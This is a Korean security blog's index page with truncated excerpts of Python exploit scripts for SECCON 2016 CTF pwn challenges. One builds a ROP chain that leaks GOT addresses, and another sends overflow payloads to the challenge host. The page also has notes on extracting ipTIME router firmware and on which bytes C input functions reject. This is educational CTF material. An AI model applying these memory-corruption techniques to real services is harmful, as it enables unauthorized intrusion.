본문 바로가기
반응형

blackcon160

[exploit] 2016 SecconCTF - cheer_msg writeups (exploit only) #!/usr/bin/env python import socket import struct import telnetlib p = lambda x: struct.pack( "" ) s.send( "-150\n" ) u_recv( "Message >>" ) pay = p( printf_plt ) pay += p( pppr ) pay += p( 0x804887d ) # \nThank you %s!\nMessage : %s\n pay += p( setbuf_got ) pay += p( setbuf_got ) pay += p( 0x80485ca ) # main s.send( pay+"\n" ) data = u_recv( "Message : " ) data = u_recv( "Message : " ) data = d.. 2016. 12. 11.
[exploit] 2016 SecconCTF - checker writeups (exploit only) #!/usr/bin/env python import socket host = 'localhost' host = "checker.pwn.seccon.jp" port = 1120 port = 14726 s = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) s.connect( ( host, port ) ) def u_recv( st ): bf = '' while st not in bf: bf += s.recv( 1 ) return bf print u_recv( "NAME :" ) s.send( "name\n" ); for i in range( 0x180, 0x170, -1 ): u_recv( ">>" ) pay = ("a"*i)+"\n.. 2016. 12. 11.
iptime 공유기에서 펌웨어 추출하는 방법 1. binwalk명령어를 사용하여 파일시스템 오프셋 확인 명령어 : binwalk [binary] 아래의 사진을 보면 " Squashfs filesystem, little endian, version 4.0, c"라는 파일시스템이 offset 1345582에 위치한 것을 확인할 수 있다. 2. dd 명령어로 파일시스템 추출 명령어 : dd if=binary of=output bs=1 skip=[filesystem offset] file명령어로 output파일을 확인한 결과 Squashfs 파일이 정상적으로 추출된 것을 확인할 수 있다. 3. 파일시스템 mount 명령어 : unsquashfs output squashfs-root디렉토리가 생성되었고 내부에 각 파일들이 존재한다. # Download 'u.. 2016. 5. 13.
입력 함수별 입력받지 못하는 값 알아보기 exploit 문제나 개발할 경우 데이터를 입력했는데 buffer에 들어가지 않은 경우가 종종 있을겁니다. 각 함수별로 어떠한 값들을 받지 않는지 간단히 정리했습니다 :D - scanf( "%s", buf ); : \x09, \x0a, \x0b, \x0c, \x0d, \x20 전까지 입력받고 종료 : 위의 값들은 버퍼에 들어가지 않음 - gets( buf ); : \x0a 전까지 입력받고 종료 : \x0a는 버퍼에 들어가지 않음 - fgets( buf, size, stdin ) : \x0a 까지 입력받고 입력 종료 : 모든값 입력 가능 - read( fd, buf, size ) : \x0a 까지 입력받고 입력 종료 : 모든값 입력 가능 2016. 4. 27.